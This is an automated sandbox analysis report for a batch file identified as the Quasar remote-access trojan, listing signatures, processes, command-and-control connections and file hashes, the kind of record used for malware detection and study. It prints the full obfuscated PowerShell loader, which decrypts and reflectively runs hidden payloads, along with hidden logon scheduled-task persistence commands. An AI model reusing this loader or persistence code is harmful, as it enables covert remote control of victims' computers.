Analysis Overview
SHA256
d384c9523b0d235f5df58134611d0c3fa2047162f651e9febf24227663c56f70
Threat Level: Known bad
The file Test.bat was found to be: Known bad.
Malicious Activity Summary
Quasar payload
Quasar RAT
Blocklisted process makes network request
Command and Scripting Interpreter: PowerShell
Checks computer location settings
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
Modifies registry class
Suspicious use of FindShellTrayWindow
Suspicious use of SendNotifyMessage
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Creates scheduled task(s)
MITRE ATT&CK Matrix V13
Analysis: static1
Detonation Overview
Reported
2024-06-16 21:22
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-06-16 21:22
Reported
2024-06-16 21:24
Platform
win7-20240220-en
Max time kernel
122s
Max time network
123s
Command Line
Signatures
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 2496 wrote to memory of 2824 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2496 wrote to memory of 2824 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
| PID 2496 wrote to memory of 2824 | N/A | C:\Windows\system32\cmd.exe | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
Processes
C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Test.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KqxeXbfDGxuEH+7Gk9Wta61SYaVxTt4rEcHNX9Nuf8I='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kgFcU3INT6PSdo5B4jsRDg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VFHTQ=New-Object System.IO.MemoryStream(,$param_var); $nikKe=New-Object System.IO.MemoryStream; $wbesJ=New-Object System.IO.Compression.GZipStream($VFHTQ, [IO.Compression.CompressionMode]::Decompress); $wbesJ.CopyTo($nikKe); $wbesJ.Dispose(); $VFHTQ.Dispose(); $nikKe.Dispose(); $nikKe.ToArray();}function execute_function($param_var,$param2_var){ $VQCvn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VWTPJ=$VQCvn.EntryPoint; $VWTPJ.Invoke($null, $param2_var);}$OfkGU = 'C:\Users\Admin\AppData\Local\Temp\Test.bat';$host.UI.RawUI.WindowTitle = $OfkGU;$bFszc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($OfkGU).Split([Environment]::NewLine);foreach ($rtAAn in $bFszc) { if ($rtAAn.StartsWith(':: ')) { $AKwuR=$rtAAn.Substring(3); break; }}$payloads_var=[string[]]$AKwuR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
Network
Files
memory/2824-4-0x000007FEF58DE000-0x000007FEF58DF000-memory.dmp
memory/2824-5-0x000000001B680000-0x000000001B962000-memory.dmp
memory/2824-7-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
memory/2824-6-0x00000000028E0000-0x00000000028E8000-memory.dmp
memory/2824-9-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
memory/2824-8-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
memory/2824-10-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
memory/2824-11-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
memory/2824-12-0x000007FEF5620000-0x000007FEF5FBD000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-06-16 21:22
Reported
2024-06-16 21:24
Platform
win10v2004-20240508-en
Max time kernel
147s
Max time network
150s
Command Line
Signatures
Quasar RAT
Quasar payload
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Enumerates physical storage devices
Creates scheduled task(s)
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\schtasks.exe | N/A |
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000_Classes\Local Settings | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of SendNotifyMessage
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of WriteProcessMemory
Uses Task Scheduler COM API
Processes
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Test.bat"
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KqxeXbfDGxuEH+7Gk9Wta61SYaVxTt4rEcHNX9Nuf8I='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kgFcU3INT6PSdo5B4jsRDg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VFHTQ=New-Object System.IO.MemoryStream(,$param_var); $nikKe=New-Object System.IO.MemoryStream; $wbesJ=New-Object System.IO.Compression.GZipStream($VFHTQ, [IO.Compression.CompressionMode]::Decompress); $wbesJ.CopyTo($nikKe); $wbesJ.Dispose(); $VFHTQ.Dispose(); $nikKe.Dispose(); $nikKe.ToArray();}function execute_function($param_var,$param2_var){ $VQCvn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VWTPJ=$VQCvn.EntryPoint; $VWTPJ.Invoke($null, $param2_var);}$OfkGU = 'C:\Users\Admin\AppData\Local\Temp\Test.bat';$host.UI.RawUI.WindowTitle = $OfkGU;$bFszc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($OfkGU).Split([Environment]::NewLine);foreach ($rtAAn in $bFszc) { if ($rtAAn.StartsWith(':: ')) { $AKwuR=$rtAAn.Substring(3); break; }}$payloads_var=[string[]]$AKwuR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_231_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_231.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_231.vbs"
C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_231.bat" "
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('KqxeXbfDGxuEH+7Gk9Wta61SYaVxTt4rEcHNX9Nuf8I='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('kgFcU3INT6PSdo5B4jsRDg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VFHTQ=New-Object System.IO.MemoryStream(,$param_var); $nikKe=New-Object System.IO.MemoryStream; $wbesJ=New-Object System.IO.Compression.GZipStream($VFHTQ, [IO.Compression.CompressionMode]::Decompress); $wbesJ.CopyTo($nikKe); $wbesJ.Dispose(); $VFHTQ.Dispose(); $nikKe.Dispose(); $nikKe.ToArray();}function execute_function($param_var,$param2_var){ $VQCvn=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $VWTPJ=$VQCvn.EntryPoint; $VWTPJ.Invoke($null, $param2_var);}$OfkGU = 'C:\Users\Admin\AppData\Roaming\startup_str_231.bat';$host.UI.RawUI.WindowTitle = $OfkGU;$bFszc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($OfkGU).Split([Environment]::NewLine);foreach ($rtAAn in $bFszc) { if ($rtAAn.StartsWith(':: ')) { $AKwuR=$rtAAn.Substring(3); break; }}$payloads_var=[string[]]$AKwuR.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "Quasar Client Startup" /sc ONLOGON /tr "C:\Windows\system32\Management\Client.exe" /rl HIGHEST /f
Network
| Country | Destination | Domain | Proto |
| US | 147.185.221.18:18043 | tcp | |
| US | 147.185.221.18:1358 | tcp | |
| US | 147.185.221.18:18043 | tcp | |
| US | 147.185.221.18:1358 | tcp | |
| US | 147.185.221.18:18043 | tcp | |
| US | 147.185.221.18:1358 | tcp |
Files
memory/4536-0-0x00007FFDB2D63000-0x00007FFDB2D65000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_eotbaqjv.yx4.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/4536-10-0x000001671F780000-0x000001671F7A2000-memory.dmp
memory/4536-11-0x00007FFDB2D60000-0x00007FFDB3821000-memory.dmp
memory/4536-12-0x00007FFDB2D60000-0x00007FFDB3821000-memory.dmp
memory/4536-13-0x000001671F770000-0x000001671F778000-memory.dmp
memory/4536-14-0x0000016721C30000-0x0000016721D62000-memory.dmp
memory/2416-25-0x00007FFDB2D60000-0x00007FFDB3821000-memory.dmp
memory/2416-26-0x00007FFDB2D60000-0x00007FFDB3821000-memory.dmp
memory/2416-27-0x00007FFDB2D60000-0x00007FFDB3821000-memory.dmp
memory/2416-30-0x00007FFDB2D60000-0x00007FFDB3821000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
| MD5 | 1cc5e033811a5d520bb4a6904b5c433b |
| SHA1 | c159a342ed372790600b3a6ac97e274638a0ce9a |
| SHA256 | 9e20052dd29dfcd8220dcf271acd3e27f9d6b785d72531043741ef349b48c7a8 |
| SHA512 | dd8b57e50382a7a84aea3986c3ae8a38ade0fb84a5c9696339487022321be12f08aff9d47455a28137e31a8632cda2490dcf0332c6b3c72e7cfdd10e63e4f429 |
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
| MD5 | 661739d384d9dfd807a089721202900b |
| SHA1 | 5b2c5d6a7122b4ce849dc98e79a7713038feac55 |
| SHA256 | 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf |
| SHA512 | 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8 |
C:\Users\Admin\AppData\Roaming\startup_str_231.vbs
| MD5 | ad35a2d52931140002bfbe2b93b26d3b |
| SHA1 | 495ceac4ed41cfe31e9cca8221056868443ef282 |
| SHA256 | ff36e7628a85e2d2c731d572622f69607f0e152796c5ab2cfca418d3cfd817c9 |
| SHA512 | f70eaeb5fb396ff04a5fc9ee0901a0b2e4b5f41bf17e02a38b9e5f3dade67c6fc79353d2548db2cf81c160a49b5df2897efaca820ae68e1c9c69923fe060e871 |
C:\Users\Admin\AppData\Roaming\startup_str_231.bat
| MD5 | 452333fe4f4b6b505f0b2fb6a2f550f0 |
| SHA1 | 8d609de9e202d5b99e20ec075ef65961477bdf61 |
| SHA256 | d384c9523b0d235f5df58134611d0c3fa2047162f651e9febf24227663c56f70 |
| SHA512 | 98249d468a779a62e8e722505606990e122b724d938ad8082d3a1488abb7ae73b32d9735e189b5ed44e307bfa31f95ad961444afc8152cd7518efb8e3de59034 |
memory/4800-49-0x000001E06D230000-0x000001E06D554000-memory.dmp
memory/4536-50-0x00007FFDB2D60000-0x00007FFDB3821000-memory.dmp
memory/4800-51-0x000001E06DB40000-0x000001E06DB90000-memory.dmp
memory/4800-52-0x000001E06DC50000-0x000001E06DD02000-memory.dmp
memory/4800-53-0x000001E06E420000-0x000001E06E5E2000-memory.dmp